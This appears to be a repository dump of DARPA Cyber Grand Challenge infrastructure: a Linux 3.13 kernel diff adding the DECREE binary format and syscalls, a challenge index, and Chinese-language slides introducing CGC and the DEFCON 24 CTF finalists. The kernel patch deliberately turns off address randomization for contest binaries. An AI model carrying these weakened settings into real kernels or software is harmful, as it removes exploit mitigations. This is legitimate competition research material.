| +void cgcos_syscall_dummy(int, struct pt_regs *); 1786 | + 1787 | +static void cgcos_dispatch(struct pt_regs *regs, const struct sysent *ap); 1788 | + 1789 | +static int asmlinkage 1790 | +cgcos_fdwait(int nfds, fd_set __user *readfds, fd_set __user *writefds, 1791 | + struct timeval __user *timeout, int __user *readyfds) { 1792 | + struct timespec end_time, *to = NULL; 1793 | + struct timeval tv; 1794 | + int res; 1795 | + 1796 | + if (readyfds != NULL && 1797 | + !access_ok(VERIFY_WRITE, readyfds, sizeof(*readyfds))) 1798 | + return (-EFAULT); 1799 | + 1800 | + if (timeout != NULL) { 1801 | + if (copy_from_user(&tv, timeout, sizeof(tv))) 1802 | + return (-EFAULT); 1803 | + 1804 | + to = &end_time; 1805 | + tv.tv_sec = tv.tv_sec + (tv.tv_usec / USEC_PER_SEC); 1806 | + tv.tv_usec %= USEC_PER_SEC; 1807 | + tv.tv_usec -= tv.tv_usec % 10000; /* gate to 0.01s */ 1808 | + tv.tv_usec *= NSEC_PER_USEC; 1809 | + 1810 | + if (poll_select_set_timeout(to, tv.tv_sec, tv.tv_usec)) 1811 | + return (-EINVAL); 1812 | + } 1813 | + 1814 | + res = core_sys_select(nfds, readfds, writefds, NULL, to); 1815 | + if (res == -ERESTARTNOHAND) 1816 | + res = -EINTR; 1817 | + 1818 | + if (res < 0) 1819 | + return (res); 1820 | + if (readyfds != NULL && copy_to_user(readyfds, &res, sizeof(*readyfds))) 1821 | + return (-EFAULT); 1822 | + return (0); 1823 | +} 1824 | + 1825 | +static int asmlinkage 1826 | +cgcos_allocate(unsigned long len, unsigned long exec, void __user **addr) { 1827 | + unsigned int res; 1828 | + int prot = PROT_READ | PROT_WRITE; 1829 | + 1830 | + if (exec) 1831 | + prot |= PROT_EXEC; 1832 | + 1833 | + if (addr != NULL && !access_ok(VERIFY_WRITE, addr, sizeof(*addr))) 1834 | + return (-EFAULT); 1835 | + res = vm_mmap(NULL, 0, len, prot, MAP_ANON | MAP_PRIVATE, 0); 1836 | + if (IS_ERR_VALUE(res)) 1837 | + return (res); 1838 | + if (addr != NULL && copy_to_user(addr, &res, sizeof(*addr))) { 1839 | + vm_munmap(res, len); 1840 | + return (-EFAULT); 1841 | + } 1842 | + return (0); 1843 | +} 1844 | + 1845 | +int asmlinkage 1846 | +cgcos_random(char __user * buf, size_t count, size_t __user *rnd_out) { 1847 | + size_t i, size; 1848 | + uint32_t randval; 1849 | + int ret; 1850 | + 1851 | + current->cgc_bytes = 0; 1852 | + if (rnd_out != NULL && 1853 | + !access_ok(VERIFY_WRITE, rnd_out, sizeof(*rnd_out))) 1854 | + return (-EFAULT); 1855 | + for (i = 0; i < count; i += sizeof(randval)) { 1856 | + size = min(count -i, sizeof(randval)); 1857 | + 1858 | + if (current->cgc_rng) { 1859 | + ret = crypto_rng_get_bytes(current->cgc_rng, 1860 | + (u8 *)&randval, size); 1861 | + if (ret < 0) 1862 | + return (ret); 1863 | + } else 1864 | + get_random_bytes(&randval, size); 1865 | + if (copy_to_user(&buf[i], &randval, size)) 1866 | + return (-EFAULT); 1867 | + current->cgc_bytes += size; 1868 | + } 1869 | + 1870 | + if (rnd_out != NULL && copy_to_user(rnd_out, &count, sizeof(*rnd_out))) 1871 | + return (-EFAULT); 1872 | + 1873 | + return 0; 1874 | +} 1875 | + 1876 | +static int asmlinkage 1877 | +cgcos_deallocate(unsigned long ptr, size_t len) { 1878 | + if ((ptr + len) <= CGC_MAGIC_PAGE || 1879 | + ptr >= (CGC_MAGIC_PAGE + PAGE_SIZE)) 1880 | + return vm_munmap(ptr, len); 1881 | + return -EINVAL; 1882 | +} 1883 | + 1884 | +int asmlinkage 1885 | +cgcos_transmit(int fd, char __user * buf, size_t count, 1886 | + size_t __user *tx_bytes) { 1887 | + int res = 0; 1888 | + 1889 | + current->cgc_bytes = 0; 1890 | + if (tx_bytes != NULL && 1891 | + !access_ok(VERIFY_WRITE, tx_bytes, sizeof(*tx_bytes))) 1892 | + return (-EFAULT); 1893 | + if (current->cgc_max_transmit != 0 && current->cgc_max_transmit < count) 1894 | + count = current->cgc_max_transmit; 1895 | + if (count != 0) 1896 | + res = sys_write(fd, buf, count); 1897 | + if (res < 0) 1898 | + return (res); 1899 | + current->cgc_bytes = res; 1900 | + if (tx_bytes != NULL && copy_to_user(tx_bytes, &res, sizeof(*tx_bytes))) 1901 | + return (-EFAULT); 1902 | + return (0); 1903 | +} 1904 | + 1905 | +int asmlinkage 1906 | +cgcos_receive(int fd, char __user * buf, size_t count, 1907 | + size_t __user *rx_bytes) { 1908 | + int res = 0; 1909 | + 1910 | + current->cgc_bytes = 0; 1911 | + if (rx_bytes != NULL && 1912 | + !access_ok(VERIFY_WRITE, rx_bytes, sizeof(*rx_bytes))) 1913 | + return (-EFAULT); 1914 | + if (current->cgc_max_receive != 0 && current->cgc_max_receive < count) 1915 | + count = current->cgc_max_receive; 1916 | + if (count != 0) 1917 | + res = sys_read(fd, buf, count); 1918 | + if (res < 0) 1919 | + return (res); 1920 | + current->cgc_bytes = res; 1921 | + if (rx_bytes != NULL && copy_to_user(rx_bytes, &res, sizeof(*rx_bytes))) 1922 | + return (-EFAULT); 1923 | + return (0); 1924 | +} 1925 | + 1926 | +int asmlinkage 1927 | +cgcos_terminate(int code) { 1928 | + complete_and_exit(NULL, (code & 0xff) << 8); 1929 | + return (0); 1930 | +} 1931 | + 1932 | +static const struct sysent cgcos_syscall_table[] = { 1933 | + { NULL, 0, "nosys", "" }, /* 0 */ 1934 | + { cgcos_terminate, 1, "terminate", "d" }, /* 1 */ 1935 | + { cgcos_transmit, 4, "transmit", "dpdp" }, /* 2 */ 1936 | + { cgcos_receive, 4, "receive", "dpdp" }, /* 3 */ 1937 | + { cgcos_fdwait, 5, "fdwait", "dxxxp" }, /* 4 */ 1938 | + { cgcos_allocate, 3, "allocate", "xxp" }, /* 5 */ 1939 | + { cgcos_deallocate, 2, "deallocate", "xd" }, /* 6 */ 1940 | + { cgcos_random, 3, "random", "xdp" }, /* 7 */ 1941 | +}; 1942 | + 1943 | +unsigned int cgcos_get_personality(void) { 1944 | + return current->personality; 1945 | +} 1946 | + 1947 | +void 1948 | +cgcos_syscall_dummy(int segment, struct pt_regs *regs) { 1949 | + /* 1950 | + * this exists to appease the compiler, cgcos_syscall is called 1951 | + * directly from entry_32.S. 1952 | + */ 1953 | + regs->eax = -ENOSYS; 1954 | +} 1955 | + 1956 | +#define CGC_EBADF 1 1957 | +#define CGC_EFAULT 2 1958 | +#define CGC_EINVAL 3 1959 | +#define CGC_ENOMEM 4 1960 | +#define CGC_ENOSYS 5 1961 | +#define CGC_EPIPE 6 1962 | + 1963 | +unsigned long 1964 | +cgc_map_err(struct pt_regs *regs) 1965 | +{ 1966 | + switch (regs->eax) { 1967 | + case 0: 1968 | + return 0; 1969 | + case -EBADF: 1970 | + return CGC_EBADF; 1971 | + case -EFAULT: 1972 | + return CGC_EFAULT; 1973 | + case -EINVAL: 1974 | + return CGC_EINVAL; 1975 | + case -ENOMEM: 1976 | + return CGC_ENOMEM; 1977 | + case -ENOSYS: 1978 | + return CGC_ENOSYS; 1979 | + case -EPIPE: 1980 | + return CGC_EPIPE; 1981 | + case -EINTR: 1982 | + case -ERESTARTSYS: 1983 | + case -ERESTARTNOINTR: 1984 | + case -ERESTARTNOHAND: 1985 | + case -ERESTART_RESTARTBLOCK: 1986 | + regs->ip -= 2; 1987 | + return regs->orig_ax; 1988 | + } 1989 | + return CGC_EINVAL; 1990 | +} 1991 | + 1992 | +void asmlinkage 1993 | +cgcos_sysenter(int segment, struct pt_regs *regs) { 1994 | + siginfo_t info; 1995 | + 1996 | + info.si_signo = SIGILL; 1997 | + info.si_errno = 0; 1998 | + info.si_code = ILL_ILLOPN; 1999 | + info.si_addr = (void __user *)regs->ip; 2000 | + send_sig_info(SIGKILL, &info, current); 2001 | +} 2002 | + 2003 | +void asmlinkage 2004 | +cgcos_syscall(int segment, struct pt_regs *regs) { 2005 | + unsigned int sysno = regs->orig_ax; 2006 | + 2007 | +#ifdef DEBUG_CGC 2008 | + printk(KERN_ALERT "cgcos_syscall reached for syscall %d\n", sysno); 2009 | +#endif 2010 | + if (sysno == 0 || sysno >= ARRAY_SIZE(cgcos_syscall_table)) 2011 | + regs->eax = -ENOSYS; 2012 | + else 2013 | + cgcos_dispatch(regs, &cgcos_syscall_table[sysno]); 2014 | + regs->eax = cgc_map_err(regs); 2015 | +} 2016 | + 2017 | +void 2018 | +cgcos_dispatch(struct pt_regs *regs, const struct sysent *ap) { 2019 | + int error; 2020 | + 2021 | + switch (ap->se_nargs) { 2022 | + case 0: 2023 | + error = SYSCALL_VOID(ap->se_syscall); 2024 | + break; 2025 | + case 1: 2026 | + error = SYSCALL_1ARG(ap->se_syscall, regs); 2027 | + break; 2028 | + case 2: 2029 | + error = SYSCALL_2ARG(ap->se_syscall, regs); 2030 | + break; 2031 | + case 3: 2032 | + error = SYSCALL_3ARG(ap->se_syscall, regs); 2033 | + break; 2034 | + case 4: 2035 | + error = SYSCALL_4ARG(ap->se_syscall, regs); 2036 | + break; 2037 | + case 5: 2038 | + error = SYSCALL_5ARG(ap->se_syscall, regs); 2039 | + break; 2040 | + default: 2041 | + printk(KERN_INFO 2042 | + "Unsupported ABI length %d for call 0x%lx (%s)\n", 2043 | + ap->se_nargs, regs->eax, ap->se_name); 2044 | + error = -ENOSYS; 2045 | + } 2046 | + 2047 | + regs->eax = error; 2048 | +} 2049 | + 2050 | +static struct exec_domain cgcos_exec_domain = { 2051 | + name: "CGCOS", 2052 | + handler: cgcos_syscall_dummy, 2053 | + pers_low: PER_CGCOS & PER_MASK, 2054 | + pers_high: PER_CGCOS & PER_MASK, 2055 | + signal_map: NULL, 2056 | + signal_invmap: NULL, 2057 | + err_map: NULL, 2058 | + socktype_map: NULL, 2059 | + sockopt_map: NULL, 2060 | + af_map: NULL, 2061 | + module: THIS_MODULE 2062 | +}; 2063 | + 2064 | +static struct ctl_table cgc_sys_table[] = { 2065 | + { 2066 | + .procname = "relaxed_headers", 2067 | + .data = &flag_relaxed_headers, 2068 | + .maxlen = sizeof(int), 2069 | + .mode = 0644, 2070 | + .proc_handler = proc_dointvec, 2071 | + }, 2072 | + { } 2073 | +}; 2074 | + 2075 | +static struct ctl_table cgc_root_table[] = { 2076 | + { 2077 | + .procname = "cgc", 2078 | + .mode = 0555, 2079 | + .child = cgc_sys_table, 2080 | + }, 2081 | + { } 2082 | +}; 2083 | + 2084 | +static struct ctl_table_header *cgc_sysctls; 2085 | + 2086 | +static int __init 2087 | +init_cgcos_binfmt(void) { 2088 | + int err; 2089 | + 2090 | + cgc_sysctls = register_sysctl_table(cgc_root_table); 2091 | + register_binfmt(&cgcos_format); 2092 | + err = register_exec_domain(&cgcos_exec_domain); 2093 | + if (err) 2094 | + unregister_binfmt(&cgcos_format); 2095 | + return (err); 2096 | +} 2097 | + 2098 | +static void __exit 2099 | +exit_cgcos_binfmt(void) { 2100 | + unregister_exec_domain(&cgcos_exec_domain); 2101 | + unregister_binfmt(&cgcos_format); 2102 | + unregister_sysctl_table(cgc_sysctls); 2103 | +} 2104 | + 2105 | +core_initcall(init_cgcos_binfmt); 2106 | +module_exit(exit_cgcos_binfmt); 2107 | +MODULE_LICENSE("Dual BSD/GPL"); 2108 | diff --git a/3.13.0-77.121/fs/exec.c b/3.13.11-ckt32-cgc/fs/exec.c 2109 | index 535c25a..49e0264 100644 2110 | --- a/3.13.0-77.121/fs/exec.c 2111 | +++ b/3.13.11-ckt32-cgc/fs/exec.c 2112 | @@ -1542,6 +1542,14 @@ static int do_execve_common(const char *filename, 2113 | if (retval < 0) 2114 | goto out; 2115 | 2116 | + /* at this point, bprm->buf should have 128 bytes of header in it */ 2117 | + bprm->envp = envp.ptr.native; 2118 | + bprm->argv = argv.ptr.native; 2119 | + if (retval >= 4 && 2120 | + bprm->buf[0] == 0x7f && bprm->buf[1] == 'C' && 2121 | + bprm->buf[2] == 'G' && bprm->buf[3] == 'C') 2122 | + goto skip_strings; 2123 | + 2124 | retval = copy_strings_kernel(1, &bprm->filename, bprm); 2125 | if (retval < 0) 2126 | goto out; 2127 | @@ -1555,6 +1563,8 @@ static int do_execve_common(const char *filename, 2128 | if (retval < 0) 2129 | goto out; 2130 | 2131 | +skip_strings: 2132 | + 2133 | retval = exec_binprm(bprm); 2134 | if (retval < 0) 2135 | goto out; 2136 | diff --git a/3.13.0-77.121/include/linux/binfmts.h b/3.13.11-ckt32-cgc/include/linux/binfmts.h 2137 | index fd8bf32..f56b3a7 100644 2138 | --- a/3.13.0-77.121/include/linux/binfmts.h 2139 | +++ b/3.13.11-ckt32-cgc/include/linux/binfmts.h 2140 | @@ -37,6 +37,9 @@ struct linux_binprm { 2141 | int unsafe; /* how unsafe this exec is (mask of LSM_UNSAFE_*) */ 2142 | unsigned int per_clear; /* bits to clear in current->personality */ 2143 | int argc, envc; 2144 | + const char __user *const __user *argv; 2145 | + const char __user *const __user *envp; 2146 | + 2147 | const char * filename; /* Name of binary as seen by procps */ 2148 | const char * interp; /* Name of the binary really executed. Most 2149 | of the time same as filename, but could be 2150 | diff --git a/3.13.0-77.121/include/linux/sched.h b/3.13.11-ckt32-cgc/include/linux/sched.h 2151 | index 0abcdcd..4469863 100644 2152 | --- a/3.13.0-77.121/include/linux/sched.h 2153 | +++ b/3.13.11-ckt32-cgc/include/linux/sched.h 2154 | @@ -1463,6 +1463,12 @@ struct task_struct { 2155 | unsigned int sequential_io; 2156 | unsigned int sequential_io_avg; 2157 | #endif 2158 | +#ifdef CONFIG_CGCOS_COMPAT 2159 | + size_t cgc_bytes; 2160 | + struct crypto_rng *cgc_rng; 2161 | + int cgc_max_transmit; 2162 | + int cgc_max_receive; 2163 | +#endif 2164 | }; 2165 | 2166 | /* Future-safe accessor for struct task_struct's cpus_allowed. */ 2167 | diff --git a/3.13.0-77.121/include/uapi/linux/personality.h b/3.13.11-ckt32-cgc/include/uapi/linux/personality.h 2168 | index aa169c4..5150e90 100644 2169 | --- a/3.13.0-77.121/include/uapi/linux/personality.h 2170 | +++ b/3.13.11-ckt32-cgc/include/uapi/linux/personality.h 2171 | @@ -62,8 +62,11 @@ enum { 2172 | PER_UW7 = 0x000e | STICKY_TIMEOUTS | MMAP_PAGE_ZERO, 2173 | PER_OSF4 = 0x000f, /* OSF/1 v4 */ 2174 | PER_HPUX = 0x0010, 2175 | + PER_CGCOS = 0x0041 | STICKY_TIMEOUTS | ADDR_NO_RANDOMIZE, 2176 | PER_MASK = 0x00ff, 2177 | }; 2178 | 2179 | +#define TSK_IS_CGCOS(t) \ 2180 | + (((t)->personality & PER_MASK) == (PER_CGCOS & PER_MASK)) 2181 | 2182 | #endif /* _UAPI_LINUX_PERSONALITY_H */ 2183 | diff --git a/3.13.0-77.121/kernel/exit.c b/3.13.11-ckt32-cgc/kernel/exit.c 2184 | index 81b3d67..14252fe 100644 2185 | --- a/3.13.0-77.121/kernel/exit.c 2186 | +++ b/3.13.11-ckt32-cgc/kernel/exit.c 2187 | @@ -59,6 +59,10 @@ 2188 | #include 2189 | #include 2190 | 2191 | +#ifdef CONFIG_CGCOS_COMPAT 2192 | +#include 2193 | +#endif 2194 | + 2195 | static void exit_mm(struct task_struct * tsk); 2196 | 2197 | static void __unhash_process(struct task_struct *p, bool group_dead) 2198 | @@ -728,6 +732,13 @@ void do_exit(long code) 2199 | 2200 | validate_creds_for_do_exit(tsk); 2201 | 2202 | +#ifdef CONFIG_CGCOS_COMPAT 2203 | + if (tsk->cgc_rng) { 2204 | + crypto_free_rng(tsk->cgc_rng); 2205 | + tsk->cgc_rng = NULL; 2206 | + } 2207 | +#endif 2208 | + 2209 | /* 2210 | * We're taking recursive faults here in do_exit. Safest is to just 2211 | * leave this task alone and wait for reboot. 2212 | diff --git a/3.13.0-77.121/kernel/fork.c b/3.13.11-ckt32-cgc/kernel/fork.c 2213 | index 52651f1..456d244 100644 2214 | --- a/3.13.0-77.121/kernel/fork.c 2215 | +++ b/3.13.11-ckt32-cgc/kernel/fork.c 2216 | @@ -344,6 +344,10 @@ static struct task_struct *dup_task_struct(struct task_struct *orig) 2217 | 2218 | account_kernel_stack(ti, 1); 2219 | 2220 | +#ifdef CONFIG_CGCOS_COMPAT 2221 | + tsk->cgc_rng = NULL; 2222 | +#endif 2223 | + 2224 | return tsk; 2225 | 2226 | free_ti: 2227 | diff --git a/3.13.0-77.121/kernel/signal.c b/3.13.11-ckt32-cgc/kernel/signal.c 2228 | index 9864d04..a27a4c4 100644 2229 | --- a/3.13.0-77.121/kernel/signal.c 2230 | +++ b/3.13.11-ckt32-cgc/kernel/signal.c 2231 | @@ -67,6 +67,9 @@ static int sig_task_ignored(struct task_struct *t, int sig, bool force) 2232 | { 2233 | void __user *handler; 2234 | 2235 | + if (TSK_IS_CGCOS(t) && sig != SIGPIPE) 2236 | + return (0); 2237 | + 2238 | handler = sig_handler(t, sig); 2239 | 2240 | if (unlikely(t->signal->flags & SIGNAL_UNKILLABLE) && 2241 | @@ -941,6 +944,15 @@ static inline int wants_signal(int sig, struct task_struct *p) 2242 | return task_curr(p) || !signal_pending(p); 2243 | } 2244 | 2245 | +static int 2246 | +sig_kernel_cgc_coredump(struct task_struct *p, int sig) { 2247 | + if (TSK_IS_CGCOS(p) && 2248 | + sig < SIGRTMIN && 2249 | + !siginmask(sig, rt_sigmask(SIGPIPE))) 2250 | + return (1); 2251 | + return (0); 2252 | +} 2253 | + 2254 | static void complete_signal(int sig, struct task_struct *p, int group) 2255 | { 2256 | struct signal_struct *signal = p->signal; 2257 | @@ -989,6 +1001,9 @@ static void complete_signal(int sig, struct task_struct *p, int group) 2258 | /* 2259 | * This signal will be fatal to the whole group. 2260 | */ 2261 | + if (sig_kernel_cgc_coredump(p, sig)) 2262 | + goto out; 2263 | + 2264 | if (!sig_kernel_coredump(sig)) { 2265 | /* 2266 | * Start a group exit and wake everybody up. 2267 | @@ -1009,6 +1024,8 @@ static void complete_signal(int sig, struct task_struct *p, int group) 2268 | } 2269 | } 2270 | 2271 | +out: 2272 | + 2273 | /* 2274 | * The signal is already in the shared-pending queue. 2275 | * Tell the chosen thread to wake up and dequeue it. 2276 | @@ -2278,6 +2295,22 @@ relock: 2277 | 2278 | if (ka->sa.sa_handler == SIG_IGN) /* Do nothing. */ 2279 | continue; 2280 | + 2281 | + if (TSK_IS_CGCOS(current)) { 2282 | + spin_unlock_irq(&sighand->siglock); 2283 | + current->flags |= PF_SIGNALED; 2284 | + switch (info->si_signo) { 2285 | + case SIGSEGV: 2286 | + case SIGILL: 2287 | + case SIGBUS: 2288 | + proc_coredump_connector(current); 2289 | + do_coredump(info); 2290 | + break; 2291 | + } 2292 | + do_group_exit(info->si_signo); 2293 | + /* NOTREACHED */ 2294 | + } 2295 | + 2296 | if (ka->sa.sa_handler != SIG_DFL) { 2297 | /* Run the handler. */ 2298 | *return_ka = *ka; 2299 | diff --git a/3.13.0-77.121/mm/oom_kill.c b/3.13.11-ckt32-cgc/mm/oom_kill.c 2300 | index 9c01afd..48f354b 100644 2301 | --- a/3.13.0-77.121/mm/oom_kill.c 2302 | +++ b/3.13.11-ckt32-cgc/mm/oom_kill.c 2303 | @@ -35,6 +35,7 @@ 2304 | #include 2305 | #include 2306 | #include 2307 | +#include 2308 | 2309 | #define CREATE_TRACE_POINTS 2310 | #include 2311 | @@ -302,6 +303,15 @@ static struct task_struct *select_bad_process(unsigned int *ppoints, 2312 | 2313 | rcu_read_lock(); 2314 | do_each_thread(g, p) { 2315 | + if (TSK_IS_CGCOS(p)) { 2316 | + chosen = p; 2317 | + chosen_points = oom_badness(p, NULL, nodemask, 2318 | + totalpages); 2319 | + goto choice_is_made; 2320 | + } 2321 | + } while_each_thread(g, p); 2322 | + 2323 | + do_each_thread(g, p) { 2324 | unsigned int points; 2325 | 2326 | switch (oom_scan_process_thread(p, totalpages, nodemask, 2327 | @@ -324,6 +334,8 @@ static struct task_struct *select_bad_process(unsigned int *ppoints, 2328 | chosen_points = points; 2329 | } 2330 | } while_each_thread(g, p); 2331 | + 2332 | +choice_is_made: 2333 | if (chosen) 2334 | get_task_struct(chosen); 2335 | rcu_read_unlock(); 2336 | diff --git a/3.13.0-77.121/scripts/link-vmlinux.sh b/3.13.11-ckt32-cgc/scripts/link-vmlinux.sh 2337 | index 2dcb377..b3fe63f 100644 2338 | --- a/3.13.0-77.121/scripts/link-vmlinux.sh 2339 | +++ b/3.13.11-ckt32-cgc/scripts/link-vmlinux.sh 2340 | @@ -103,7 +103,10 @@ mksysmap() 2341 | 2342 | sortextable() 2343 | { 2344 | - ${objtree}/scripts/sortextable ${1} 2345 | + t=`mktemp /tmp/sortext.XXXXXX` 2346 | + cp ${1} ${t} || return 1 2347 | + ${objtree}/scripts/sortextable ${t} || return 1 2348 | + mv ${t} ${1} 2349 | } 2350 | 2351 | # Delete output files in case of error 2352 | diff --git a/3.13.0-77.121/scripts/tags.sh b/3.13.11-ckt32-cgc/scripts/tags.sh 2353 | index 58c4559..d9cc1a7 100755 2354 | --- a/3.13.0-77.121/scripts/tags.sh 2355 | +++ b/3.13.11-ckt32-cgc/scripts/tags.sh 2356 | @@ -212,7 +212,7 @@ exuberant() 2357 | --langdef=kconfig --language-force=kconfig \ 2358 | --regex-kconfig='/^[[:blank:]]*(menu|)config[[:blank:]]+([[:alnum:]_]+)/CONFIG_\2/' 2359 | 2360 | - all_defconfigs | xargs -r $1 -a \ 2361 | + all_defconfigs | xargs -I {} $1 -a \ 2362 | --langdef=dotconfig --language-force=dotconfig \ 2363 | --regex-dotconfig='/^#?[[:blank:]]*(CONFIG_[[:alnum:]_]+)/\1/' 2364 | } 2365 | @@ -255,7 +255,7 @@ emacs() 2366 | all_kconfigs | xargs $1 -a \ 2367 | --regex='/^[ \t]*\(\(menu\)*config\)[ \t]+\([a-zA-Z0-9_]+\)/CONFIG_\3/' 2368 | 2369 | - all_defconfigs | xargs -r $1 -a \ 2370 | + all_defconfigs | xargs -I {} $1 -a \ 2371 | --regex='/^#?[ \t]?\(CONFIG_[a-zA-Z0-9_]+\)/\1/' 2372 | } 2373 | ``` 2374 | -------------------------------------------------------------------------------- /challenges/SUMMARY.md: -------------------------------------------------------------------------------- 1 | # Summary 2 | 3 | ## 测试题 4 | 5 | + [Linux改动](README.md) 6 | + [LEGIT\_00010](00010.md) 7 | 8 | ## Day 1 9 | 10 | + [LEGIT\_00008](00008.md) 11 | + [LEGIT\_00003](00003.md) 12 | + [LEGIT\_00007](00007.md) 13 | 14 | ## Day 2 15 | 16 | + [LEGIT\_00004](00004.md) 17 | + [LEGIT\_00006](00006.md) 18 | + [LEGIT\_00001](00001.md) 19 | 20 | ## Day 3 21 | 22 | + [LEGIT\_00009](00009.md) 23 | + [LEGIT\_00002](00002.md) 24 | -------------------------------------------------------------------------------- /slide/Makefile: -------------------------------------------------------------------------------- 1 | slide.pdf: %.pdf: %.tex 2 | xelatex -interaction=nonstopmode -shell-escape $< 3 | -------------------------------------------------------------------------------- /slide/slide.tex: -------------------------------------------------------------------------------- 1 | \documentclass{beamer} 2 | 3 | 4 | %\usetheme{Darmstadt} 5 | \usetheme{Berkeley} 6 | \usecolortheme{rose} 7 | \useoutertheme{tree} 8 | \usefonttheme[onlylarge]{structurebold} 9 | \setbeamerfont*{frametitle}{size=\normalsize,series=\bfseries} 10 | \setbeamertemplate{navigation symbols}{} 11 | \setbeamertemplate{blocks}[rounded][shadow=true] 12 | \setcounter{tocdepth}{1} 13 | 14 | \usepackage{hyperref} 15 | \usepackage{minted} 16 | \usepackage{tikz} 17 | \usepackage{stmaryrd} 18 | \usepackage{tabularx} 19 | \usepackage[backend=bibtex]{biblatex} 20 | \defbibheading{bibliography}{} 21 | \bibliography{refs.bib} 22 | 23 | \usepackage[slantfont,boldfont]{xeCJK} 24 | \setCJKmainfont{"SimHei"} 25 | \setCJKmonofont{"SimHei"} 26 | %\setCJKmainfont{Adobe Heiti Std} 27 | %\setCJKmonofont{Adobe Heiti Std} 28 | 29 | \XeTeXlinebreaklocale "Hz" 30 | \XeTeXlinebreakskip = 0pt plus 1pt 31 | % \titleformat*{\section}{\centering\Large\bf} 32 | % \titleformat*{\subsection}{\bf} 33 | 34 | 35 | \title{Rise of the Machines: Cyber Grand Challenge及DEFCON 24 CTF决赛介绍} 36 | \author{宋方睿 MaskRay} 37 | \institute{https://maskray.me} 38 | \date{} 39 | 40 | \newcommand{\image}[1]{ 41 | \begin{frame} 42 | \includegraphics[width=\textwidth,height=0.8\textheight,keepaspectratio]{#1} 43 | \end{frame} 44 | } 45 | 46 | \begin{document} 47 | 48 | \begin{frame} 49 | \titlepage 50 | \end{frame} 51 | 52 | \begin{frame} 53 | \tableofcontents 54 | \end{frame} 55 | 56 | { 57 | \usebackgroundtemplate{ 58 | \tikz[overlay,remember picture] 59 | \node[opacity=0.4, at=(current page.south east),anchor=south east,inner sep=0pt] { 60 | \includegraphics[height=\paperheight]{img/me.jpg}}; 61 | } 62 | 63 | \begin{frame} 64 | \begin{block}{MaskRay} 65 | \begin{itemize}[<+-|alert@+>] 66 | \item 过期的算法竞赛+超算赛棍 67 | \item 发霉的运维+FP爱好者 68 | \item 变质的四届DEFCON CTF酱油 69 | \end{itemize} 70 | \end{block} 71 | \end{frame} 72 | } 73 | 74 | \begin{frame} 75 | \begin{block}{两个竞赛} 76 | \begin{itemize} 77 | \item Cyber Grand Challenge (CGC) Final Event,8月4日 78 | \item DEFCON 24 Capture the Flag,8月5$\sim$7日 79 | \end{itemize} 80 | \end{block} 81 | \end{frame} 82 | 83 | \section{Capture the Flag} 84 | 85 | \begin{frame} 86 | \begin{block}{Capture the Flag} 87 | \begin{itemize} 88 | \item 逆向技术, 协议分析, 网络嗅探, 密码破解, 计算机取证, 编程 89 | \item Codegate CTF, DEFCON CTF, Hack.lu CTF, Plaid CTF, SECCON CTF 90 | \item 0CTF, BCTF, XCTF 91 | \end{itemize} 92 | \end{block} 93 | \end{frame} 94 | 95 | \begin{frame} 96 | \begin{block}{形式} 97 | \begin{itemize}[<+-|alert@+>] 98 | \item jeopardy,Online Judge 99 | \item attack-defense 100 | \item Cyber Grand Challenge 101 | \end{itemize} 102 | \end{block} 103 | \end{frame} 104 | 105 | \image{img/bctf.jpg} 106 | 107 | \section{Cyber Grand Challenge} 108 | 109 | \begin{frame} 110 | \begin{block}{Cyber Grand Challenge} 111 | \begin{itemize} 112 | \item Cyber Reasoning System 113 | \item 寻找漏洞 114 | \item 修补漏洞 115 | \item 分析攻击 116 | \item 设置防火墙 117 | \item 利用漏洞(exploit) 118 | \item 1280 cores, 16TB ram, 128 TB storage 119 | \end{itemize} 120 | \end{block} 121 | \end{frame} 122 | 123 | \image{img/cgc-timeline.png} 124 | 125 | \begin{frame} 126 | \begin{block}{CGC Qualifying Event} 127 | \begin{itemize} 128 | \item 24小时分析126个challenge binary (CB) 129 | \item 产生让CB崩溃的交互 130 | \item 修补CB,保留功能,性能也影响分数 131 | \end{itemize} 132 | \end{block} 133 | \end{frame} 134 | 135 | \begin{frame} 136 | \begin{block}{DECREE环境} 137 | \begin{itemize} 138 | \item 修改的Linux 3.13.0,32位x86 139 | \item ELF -> CGC(可执行文件格式) 140 | \item allocate(mmap), deallocate(munmap), fdwait(select), random, receive(read), terminate(exit), transmit(write) 141 | \item SIGPIPE Ign,SIGSEGV SIGILL SIGBUS Core,其他Term 142 | \item 禁用address space layout randomization,禁用non-executable stack 143 | \item CR4寄存器禁用performance monitoring center 144 | \item static linking, homebrew libc 145 | \end{itemize} 146 | \end{block} 147 | \end{frame} 148 | 149 | \subsection{入围队伍} 150 | 151 | \begin{frame} 152 | \begin{block}{CodeJitsu} 153 | \begin{itemize} 154 | \item University of California, Berkeley 155 | \item \href{http://bitblaze.cs.berkeley.edu/}{BitBlaze} Binary Analysis Platform: Vine(static analysis), TEMU(dynamic analysis), Rudder(symbolic execution) 156 | \end{itemize} 157 | \end{block} 158 | \end{frame} 159 | 160 | \image{img/codejitsu.jpg} 161 | 162 | \begin{frame} 163 | \begin{block}{ForAllSecure} 164 | \begin{itemize} 165 | \item CMU教授David Brumley發起的startup,成员多来自CyLab 166 | \item \href{https://github.com/BinaryAnalysisPlatform}{Binary 167 | Analysis Platform} 168 | \item Plaid Parliament of Pwning是其undergraduate computer security research group。 169 | \end{itemize} 170 | \end{block} 171 | \end{frame} 172 | 173 | \image{img/forallsecure.jpg} 174 | 175 | \begin{frame} 176 | \begin{block}{TECHx} 177 | \begin{itemize} 178 | \item GrammaTech \& University of Virginia Technology 179 | \item Preventing Exploits of Software of Unknown Provenance 180 | \end{itemize} 181 | \end{block} 182 | \end{frame} 183 | 184 | \image{img/techx.jpg} 185 | 186 | \begin{frame} 187 | \begin{block}{CSDS} 188 | \begin{itemize} 189 | \item University of Idaho 190 | \item Jim Alves-Foss, Jia Song 191 | \end{itemize} 192 | \end{block} 193 | \end{frame} 194 | 195 | \image{img/csds.jpg} 196 | 197 | \begin{frame} 198 | \begin{block}{DeepRed} 199 | \begin{itemize} 200 | \item Raytheon 201 | \end{itemize} 202 | \end{block} 203 | \end{frame} 204 | 205 | \image{img/deepred.jpg} 206 | 207 | \begin{frame} 208 | \begin{block}{disekt} 209 | \begin{itemize} 210 | \item University Of Georgia 211 | \item 2009年成立disekt CTF战队 212 | \end{itemize} 213 | \end{block} 214 | \end{frame} 215 | 216 | \image{img/disekt.jpg} 217 | 218 | \begin{frame} 219 | \begin{block}{Shellphish} 220 | \begin{itemize} 221 | \item University of California, Santa Barbara 222 | \item \href{http://angr.io}{angr}, a python framework for analyzing binaries. It focuses on both static and dynamic symbolic ("concolic") analysis 223 | \end{itemize} 224 | \end{block} 225 